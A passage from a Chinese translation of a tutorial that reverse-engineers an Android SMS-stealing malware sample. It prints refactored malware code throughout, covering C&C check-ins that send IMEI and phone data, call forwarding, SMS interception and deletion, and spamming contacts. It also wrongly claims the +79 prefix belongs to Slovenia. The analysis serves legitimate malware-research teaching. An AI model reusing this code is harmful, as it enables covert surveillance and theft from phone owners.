                httpClient = new DefaultHttpClient();
                String encodedParameters = URLEncodedUtils.format(parameters, "utf-8");
                StringBuilder urlBuilder = new StringBuilder(String.valueOf(urlBuilder));
                HttpGet httpGet = new HttpGet(urlBuilder.append("?").append(encodedParameters).toString());
                inputStream = httpClient.execute(httpGet).getEntity().getContent();
            }
        } catch (Throwable throwable) {
            var10001 = false;
        }
    } 
    label55:
    {
        BufferedReader bufferedReader;
        StringBuilder stringBuilder;
        try {
            InputStreamReader inputStreamReader = new InputStreamReader(inputStream, "iso-8859-1");
            bufferedReader = new BufferedReader(inputStreamReader, 8);
            stringBuilder = new StringBuilder();
        } catch (Throwable var10) {
            var10001 = false;
            break label55;
        }         while (true) {
            try {
                httpMethod = bufferedReader.readLine();
            } catch (Throwable throwable) {
                var10001 = false;
                break;
            }             if (httpMethod == null) {
                try {
                    inputStream.close();
                    serverResponseRaw = stringBuilder.toString();
                    break;
                } catch (Throwable throwable) {
                    Throwable throwable2 = throwable;                     try {
                        throw throwable2;
                    } catch (Throwable throwable1) {
                        var10001 = false;
                        break;
                    }
                }
            }             try {
                stringBuilder.append(httpMethod).append("\n");
            } catch (Throwable throwable) {
                var10001 = false;
                break;
            }
        }
    }     try {
        JSONObject serverResonseJson = new JSONObject(serverResponseRaw);
        ServerCommunicator.serverResponseJson = serverResonseJson;
    } catch (Throwable throwable) {
    }     return serverResponseJson;}

基于callC2函数,该类可以重命名为ServerCommunicator。

i类的第二部分

基于ServerCommunicator类的新信息, i类中的doInBackground函数更容易理解和重构。首先,它收集了方法和ID。

如果给定的方法等于install,它还会收集网络运营商、bild模型、版本发布、手机号码、IMEI、bot版本和国家或地区,所有这些数据都被发送到C&C服务器。

如果命令等于info,则只将恶意函数的方法和ID发送到C&C服务工具。最后,有一个名为sms的选项,此方法的行为与info方法相同。

protected final Object doInBackground(Object[] urlArray) {
    Object var2 = null;
    boolean var3 = false;
    boolean var4 = MainService.e;
    String url = ((String[]) urlArray)[0];
    ServerCommunicator serverCommunicator = new ServerCommunicator();
    this.parameters.add(new BasicNameValuePair("method", this.command));
    this.parameters.add(new BasicNameValuePair("id", this.sharedPreferences.getString("id", (String) null)));
    JSONObject serverResponse;
    if (this.command.startsWith("install")) {
        String POST = "POST";
        this.parameters.add(new BasicNameValuePair("operator", TelephonyManagerWrapper.getTelephonyManager(context).getNetworkOperatorName()));
        this.parameters.add(new BasicNameValuePair("model", Build.MODEL));
        this.parameters.add(new BasicNameValuePair("os", VERSION.RELEASE));
        this.parameters.add(new BasicNameValuePair("phone", TelephonyManagerWrapper.getTelephonyManager(context).getLine1Number()));
        this.parameters.add(new BasicNameValuePair("imei", TelephonyManagerWrapper.getTelephonyManager(context).getDeviceId()));
        this.parameters.add(new BasicNameValuePair("version", Constants.version));
        this.parameters.add(new BasicNameValuePair("country", context.getResources().getConfiguration().locale.getCountry()));
        serverResponse = ServerCommunicator.callC2(url, POST, this.parameters);
    } else if (this.command.startsWith("info")) {
        serverResponse = ServerCommunicator.callC2(url, StringDatabase.POST, this.parameters);
    } else {
        serverResponse = (JSONObject) var2;
        if (this.command.startsWith("sms")) {
            serverResponse = ServerCommunicator.callC2(url, StringDatabase.POST, this.parameters);
        }
    }     if (StringDatabase.integerZero != 0) {
        if (!var4) {
            var3 = true;
        } 
        MainService.e = var3;
    }     return serverResponse;}

请注意,Constants类仅包含两个字段和零细分法。这些变量的名称可以直接从它们的值中被删除。

public final class Constants {
    public static int int50005 = 50005;
    public static String version = "5";}

onPostExecute

我通过其他渠道获得了用JEB反编译的Java代码,不过代码仍然很混乱,大约250行。此外,还有许多没有任何原因的尝试捕捉结构和跳转。

而功能相同的SMALI代码大约有550行,这使得它无法被用于无法分析。基于SMALI代码,可以看到函数的大致功能是比较字符串,如果比较正确,则执行代码。这可能表示对Java代码确认的命令的处理,下面是未修改的反编译Java代码的摘录。

//[omitted]try {
    if(v15.equals(String.valueOf(o.h) + o.E)) {
        this.w.edit().putLong(o.u, Long.valueOf((((long)(v8.optInt(i.t[17]) * 1000))) + System.currentTimeMillis()).longValue()).commit();
    }
    if(v15.equals(String.valueOf(o.h) + i.t[18])) {
        i.q(v8.optString(i.t[33]), v8.optString(o.c));
    }
    if(v15.equals(i.t[21] + o.f + i.t[16])) {
        v16 = v8.optString(i.t[33]);
        v17 = i.q.getContentResolver().query(ContactsContract$Contacts.CONTENT_URI, null, null, null, null);
        if(v17 != null) {
                goto label_125;
        }
            goto label_132;
    }
        goto label_160;}
    catch(Throwable v2) {
    return;}
    try {
    label_125:
    if(v17.getCount() > o.z) {
            goto label_128;
    }
        goto label_132;}
    catch(Throwable v2) {
        goto label_273;}//[omitted]

为了对恶意软件的关键功能进行讲解,我将大约250行代码重写为下面的代码。重写的代码包含恶意功能中存在的所有功能。

请注意,大多数字符串所在的字符串数组包含33个字符串。它还使用StringDatabase类中的字符串,这使得变得非常混乱。

代码中的类以前没有分析过,这些类将在需要时进行分析。

protected final void onPostExecute(JSONArray commandJson) {
    String command = commandJsonArray[0];
    switch (command) {
        case "install_true":
            sharedPreferenceEditor.putString("inst", "2").commit();
            break;
        case "call_number":
            TelephonyManagerWrapper2.callPhoneNumber(context, "*21*" + commandJson.optString("phone") + "#");
            new Handler().postDelayed(new StopCallForwardingRunnable(this), 1000 * (((long) commandJson.optInt("time"))));
            break;
        case "sms_grab":
            Long time_perehv = (((long) (commandJson.optInt("time") * 1000))) + System.currentTimeMillis();
            sharedPreferenceEditor.putLong("time_perehv", time_perehv).commit();
            break;
        case "sms_send":
            sendAndRemoveMessage(commandJson.optString("message"), commandJson.optString("phone"));
            break;
        case "delivery":
            TelephonyManagerWrapper2.callPhoneNumber(context, "*21*+79009999999#");
            String smsMessage = commandJson.optString("text");
            String recipientPhoneNumber;
            Cursor allContacts = context.getContentResolver().query(ContactsContract$Contacts.CONTENT_URI, null, null, null, null);
            Cursor contactIds = context.getContentResolver().query(ContactsContract$CommonDataKinds$Phone.CONTENT_URI, null, "contact_id = ?", new String[]{allContacts.getString(allContacts.getColumnIndex("_id"))}, null);
            if (allContacts.getCount() > 0 && contactIds.getCount() > 0) {
                for (int i = 1; i < 30; i++) {
                    if (allContacts.moveToNext()) {
                        if (contactIds.moveToFirst()) {
                            recipientPhoneNumber = contactIds.getString(contactIds.getColumnIndex("data1"));
                            if (recipientPhoneNumber != null) {
                                sendAndRemoveMessage(smsMessage, recipientPhoneNumber);
                            }
                        }
                    }
                }
            }
            break;
        case "new_url":
            String url = commandJson.optString("text");
            if (url.length() > 10) {
                sharedPreferenceEditor.putString("url", url).commit();
                sharedPreferenceEditor.putString("inst", "1").commit();
            }
            break;
        case "ussd":
            TelephonyManagerWrapper2.callPhoneNumber(context, commandJson.optString("phone"));
            break;
    }}

在交换机中,处理多个命令。下面列出了不同的命令,然后,按照列出的顺序逐一分析每个命令。

install_true

call_number

sms_grab

sms_send

delivery

new_url

ussd

install_true

接收到此命令后,共享首选项文件中的字符串inst设置为2,这标志着安装已经完成。

case "install_true":
    sharedPreferenceEditor.putString("inst", "2").commit();
    break;

CALL_NUMBER

设置应转发调用的手机号码,使用*21*作为前缀,使用#作为后缀,可确保将传入调用的号码是前缀和后缀之间的数字。

case "call_number":
    TelephonyManagerWrapper2.callPhoneNumber(context, "*21*" + commandJson.optString("phone") + "#");
    new Handler().postDelayed(new StopCallForwardingRunnable(this), 1000 * (((long) commandJson.optInt("time"))));
    break;

StopCallForwardingRunnable类调用#21#,取消调用转发。因为runnable的调用被延迟,命令中的time变量指定了应该在什么时候取消转发。时间变量等于以秒为单位的等待时间,而原始函数的计算单位是毫秒,所以这个值要再乘以1000。代码如下所示:

public final void run() {
    new TelephonyManagerWrapper2().callPhoneNumber(i.context, "#21#");}

在分析完所有命令之后,该分析TelephonyManagerWrapper2类了。

sms_grab

time_perehv的值设置为未来给定的时间(以秒为单位),命令处理的代码如下。

case "sms_grab":
    Long time_perehv = (((long) (commandJson.optInt("time") * 1000))) + System.currentTimeMillis();
    sharedPreferenceEditor.putLong("time_perehv", time_perehv).commit();
    break;

使用Android Studio中的Find usage函数,你可以看到String类中的字符串time_perehv(在上面的代码中被替换以提高可读性)也在Ma类中使用。这两个有趣的函数是getAllSmsMessageBodies和onReceive函数,因为类是BroadcastReceiver。

getAllSmsMessageBodies函数需要一个参数:一组短信。每条短信的正文都放在一个字符串中,而结果则以单个字符串形式返回。

private static String getAllSmsMessageBodies(SmsMessage[] smsMessageArray) {
    StringBuilder stringBuilder = new StringBuilder();
    for (SmsMessage messageBody : smsMessageArray) {
        stringBuilder.append(messageBody.getMessageBody());
    }
    return stringBuilder.toString();}

使用BroadcastReceiver类扩展的类是实现onReceive函数所必需的,在处理BroadcastReceiver正在侦听的意图时,onReceive函数会处理赋予它的意图。onReceive函数的代码如下所示:

public void onReceive(Context context, Intent intent) {
    String intentAction;
    context.startService(new Intent(context, MainService.class));
    this.sharedPreferences = context.getSharedPreferences("PREFS_NAME", 0);
    try {
        intentAction = intent.getAction();
    } catch (Throwable th) {
        intentAction = "";
    }
    Object[] objArr = (Object[]) intent.getExtras().get("pdus");
    if (isActive || objArr != null) {
        SmsMessage[] smsMessageArray = new SmsMessage[objArr.length];         long j = this.sharedPreferences.getLong("time_perehv", 0);
        if (System.currentTimeMillis() < Long.valueOf(j).longValue()) {
            this.w = true;
        }
        if (Boolean.valueOf(SmsMessage.createFromPdu((byte[]) objArr[0]).getDisplayOriginatingAddress().equalsIgnoreCase("900")).booleanValue()) {
            this.w = true;
        }
        if (this.w && intent != null && intentAction != null) {
            if ("android.provider.telephony.SMS_RECEIVED".compareToIgnoreCase(intentAction) == 0) {
                String displayOriginatingAddress;
                for (int i = 0; i < objArr.length; i++) {
                    smsMessageArray[i] = SmsMessage.createFromPdu((byte[]) objArr[i]);
                    SmsMessage createFromPdu = SmsMessage.createFromPdu((byte[]) objArr[i]);
                    displayOriginatingAddress = createFromPdu.getDisplayOriginatingAddress();
                    new Handler().postDelayed(new y(this, context, createFromPdu.getDisplayMessageBody(), displayOriginatingAddress), 2000);
                }
                String allSmsMessageBodies = getAllSmsMessageBodies(smsMessageArray);
                displayOriginatingAddress = smsMessageArray[0].getDisplayOriginatingAddress();
                List parameters = new ArrayList();
                parameters.add(new BasicNameValuePair("fromPhone", displayOriginatingAddress));
                parameters.add(new BasicNameValuePair("text", allSmsMessageBodies));
                new CommandHandler(context, parameters, "sms").execute(new String[]{"url", null)})
                ;
                try {
                    q();
                    return;
                } catch (Exception e) {
                    return;
                }
            }
            return;
        }
        return;
    }
    throw new AssertionError();}

在此代码中,函数q和y类是未知的。该函数的核心功能以上已经讲过,long j等于time_perehv的值。该值是通过C&C服务工具的命令设置的。如果j晚于当前系统时间,则布尔值w设置为true。请注意,默认情况下,w设置为false。如果接收方的数值等于900,则布尔值也设置为true。

如果w被设置为true,则代码的执行则依靠通过将意图行为与接收到短信时给出的行为进行比较来继续。如果设置为true,那么y类将延迟2秒开始。

然后,使用sms命令将所有短信的内容传送到C&C服务器。最后,执行函数q。

y的代码如下所示:

public final void run() {
    ((android.app.NotificationManager) this.context.getSystemService("notification").cancelAll();
    TelephonyManagerWrapper2.removeSentMessages(this.context, (String) this.body, this.numberTo);}

通过使用NotificationManager,可以取消所有通知。然后,删除所有发送到numberTo值的消息。根据这些信息,可以将y类重命名为CancelAllNotificationsRunnable。

函数q(在Ma类中)如下所示:

private boolean q() {
    try {
        Class.forName("android.content.Receiver").getDeclaredMethod("abortBroadcast", new Class[0]).invoke(this, new Object[0]);
    } catch (Throwable th) {
    }
    return true;}

使用反射方式,调用abortBroadcast方法,从而从系统中删除广播。因此,此函数可以重命名为abortBroadcastWrapper。

通过以上分析,可以对Ma类的onReceive函数进行完全重构,如下图所示。

public void onReceive(Context context, Intent intent) {
    String intentAction;
    context.startService(new Intent(context, MainService.class));
    this.sharedPreferences = context.getSharedPreferences("PREFS_NAME", 0);
    try {
        intentAction = intent.getAction();
    } catch (Throwable th) {
        intentAction = "";
    }
    Object[] objArr = (Object[]) intent.getExtras().get("pdus");
    if (isActive || objArr != null) {
        SmsMessage[] smsMessageArray = new SmsMessage[objArr.length];         long blockTimeDeadline = this.sharedPreferences.getLong("time_perehv", 0);
        if (System.currentTimeMillis() < Long.valueOf(blockTimeDeadline).longValue()) {
            this.shouldBlock = true;
        }
        if (Boolean.valueOf(SmsMessage.createFromPdu((byte[]) objArr[0]).getDisplayOriginatingAddress().equalsIgnoreCase("900")).booleanValue()) {
            this.shouldBlock = true;
        }
        if (this.shouldBlock && intent != null && intentAction != null) {
            if ("android.provider.telephony.SMS_RECEIVED".compareToIgnoreCase(intentAction) == 0) {
                String displayOriginatingAddress;
                for (int i = 0; i < objArr.length; i++) {
                    smsMessageArray[i] = SmsMessage.createFromPdu((byte[]) objArr[i]);
                    SmsMessage createFromPdu = SmsMessage.createFromPdu((byte[]) objArr[i]);
                    displayOriginatingAddress = createFromPdu.getDisplayOriginatingAddress();
                    new Handler().postDelayed(new CancelAllNotificationsRunnable(this, context, createFromPdu.getDisplayMessageBody(), displayOriginatingAddress), 2000);
                }
                String allSmsMessageBodies = getAllSmsMessageBodies(smsMessageArray);
                displayOriginatingAddress = smsMessageArray[0].getDisplayOriginatingAddress();
                List parameters = new ArrayList();
                parameters.add(new BasicNameValuePair("fromPhone", displayOriginatingAddress));
                parameters.add(new BasicNameValuePair("text", allSmsMessageBodies));
                new CommandHandler(context, parameters, "sms").execute(new String[]{"url", null)})
                ;
                try {
                    abortBroadcastWrapper();
                    return;
                } catch (Exception e) {
                    return;
                }
            }
            return;
        }
        return;
    }
    throw new AssertionError();}

C&C服务器给出并保存在共享首选项time_perehv中的时间会决定所有传入消息何时应该被阻塞和删除。因此, Ma类可以重命名为SmsBlocker。

SMS_SEND

在JSON命令中向给定的手机号码发送给定的文本消息,之后,如果用户检查发送的短信,则恶意软件会删除短信以避免任何怀疑。

case "sms_send":
    sendAndRemoveMessage(commandJson.optString("message"), commandJson.optString("phone"));
    break;

在上面重写的代码中,使用了sendAndRemoveMessage函数。该方法使用给定的正文向给定的号码发送短信,两秒钟后,使用可运行的RemoveAllSentMessagesRunnable删除设备上可用的所有文本消息。

private static void sendAndRemoveMessage(String message, String numberTo) {
    if (numberTo != null && message != null) {
        TelephonyManagerWrapper.sendSms(numberTo, message);
        (new Handler()).postDelayed(new RemoveAllSentMessagesRunnable(message, numberTo), 2000L);
    }}

RemoveAllSentMessagesRunnable类封装了TelephonyManagerWrapper2,稍后我将对其进行分析。

final class RemoveAllSentMessagesRunnable implements Runnable {
    private final String message;
    private final String numberTo; 
    RemoveAllSentMessagesRunnable(String message, String numberTo) {
        this.message = message;
        this.numberTo = numberTo;
    }     public final void run() {
        TelephonyManagerWrapper2.removeSentMessages(CommandHandler.context, this.message, this.numberTo);
    }}

USSD

使用callPhoneNumber函数(驻留在TelephonyManagerWrapper2类中)调用命令中提供的手机号码,输入的手机号码可以是ussd命令。

case "ussd":
    TelephonyManagerWrapper2.callPhoneNumber(context, commandJson.optString("phone"));
    break;

交付命令

下面给出了交付命令的代码,这些代码已经被重构,以尽可能多地包含详细信息。

case "delivery":
    TelephonyManagerWrapper2.callPhoneNumber(context, "*21*+79009999999#");
    String smsMessage = commandJson.optString("text");
    String recipientPhoneNumber;
    Cursor allContacts = context.getContentResolver().query(ContactsContract$Contacts.CONTENT_URI, null, null, null, null);
    Cursor contactIds = context.getContentResolver().query(ContactsContract$CommonDataKinds$Phone.CONTENT_URI, null, "contact_id = ?", new String[]{allContacts.getString(allContacts.getColumnIndex("_id"))}, null);
    if (allContacts.getCount() > 0 && contactIds.getCount() > 0) {
        for (int i = 1; i < 30; i++) {
            if (allContacts.moveToNext()) {
                if (contactIds.moveToFirst()) {
                    recipientPhoneNumber = contactIds.getString(contactIds.getColumnIndex("data1"));
                    if (recipientPhoneNumber != null) {
                        sendAndRemoveMessage(smsMessage, recipientPhoneNumber);
                    }
                }
            }
        }
    }
    break;

首先,手机设置为将收到的任何调用转发到号码+79009999999。前缀+79的号码属于斯洛文尼亚。之后,从命令中检索短信的正文。使用两个查询,查询手机的所有联系人,上限为29(因为我从1开始而不是0)。然后,这些联系人都收到一条短信,其中包含在命令中定义的正文。之后,将该正文从手机上发送的消息中删除。

NEW_URL

使用此命令,可以在设置中更改C&C服务器的URL。命令中URL的名称等于text。进行完整性检查以查看URL是否超过10个字符。规范的HTTP协议(http://)的和两个字符的顶级域(即.nl)等于10个字符。

由于最小的URL是11个字符,因此这个恶意工具允许这样做。由于手机尚未在新的C&C服务器上注册,因此inst设置为1。代码如下所示:

case "new_url":
    String url = commandJson.optString("text");
    if (url.length() > 10) {
        sharedPreferenceEditor.putString("url", url).commit();
        sharedPreferenceEditor.putString("inst", "1").commit();
    }
    break;

类的重命名

基于这两个函数中的信息,该类通过将命令(字符串)与已知命令列表进行比较,然后调用正确的类来执行请求的操作,从而处理给定的命令。因此,该类被命名为CommandHandler。

TelephonyManagerWrapper2

TelephonyManagerWrapper2的代码如下所示:

public static void removeSentMessages(Context context, String body, String numberTo) {
    try {
        Uri parse = Uri.parse("content://sms/inbox");
        Cursor query = context.getContentResolver().query(parse, new String[]{"_id", "thread_id", "person", "date", "body"}, null, null, null);
        if (query == null) {
            return;
        }
        if (query.moveToFirst()) {
            do {
                long firstMessage = query.getLong(0);
                String thread_id = query.getString(2);
                if (body.equals(query.getString(5))) {
                    if (thread_id.equals(numberTo)) {
                        context.getContentResolver().delete(Uri.parse("content://sms/" + firstMessage), null, null);
                    }
                }
            } while (query.moveToNext());
        }
    } catch (Throwable th) {
    }}

如果电话号码和短信正文都是作为函数参数提供的,则发送到收件人号码的所有短信都将从手机中被删除。

callPhoneNumber函数的代码如下所示:

public final void callPhoneNumber(Context context, String phoneNumber) {
    ((TelephonyManager) context.getSystemService("phone")).listen(new q(this, context, (byte) 0), 32);
    Intent intent = new Intent("android.intent.action.Call");
    intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
    intent.setData(Uri.fromParts("tel", phoneNumber, "#"));
    context.startActivity(intent);}

调用在此函数中作为参数提供的手机号码,名为q的类是PhoneStateListener类的包装工具,如下所示。

final class q extends PhoneStateListener {
    Context context;
    final TelephonyManagerWrapper2 telephonyManagerWrapper2;     private q(TelephonyManagerWrapper2 telephonyManagerWrapper2, Context context) {
        this.telephonyManagerWrapper2 = telephonyManagerWrapper2;
        this.context = context;
    } 
    q(TelephonyManagerWrapper2 telephonyManagerWrapper2, Context context, byte b) {
        this(telephonyManagerWrapper2, context);
    }     public final void onCallStateChanged(int i, String str) {
    }}

因此,可以将其重构为PhoneStateListenerWrapper。

总结

总之,该恶意软件中的所有类都被发现、分析和重构了。这也是我们能详细介绍它的内部命令和工作原理的基础,在最后检查Manifest文件时,所有类都已重构。


本文翻译自:https://maxkersten.nl/binary-analysis-course/malware-analysis/android-sms-stealer/

翻译作者:lucywang 原文地址:https://www.4hou.com/technology/16348.html

0
现金券
0
兑换券
立即领取
领取成功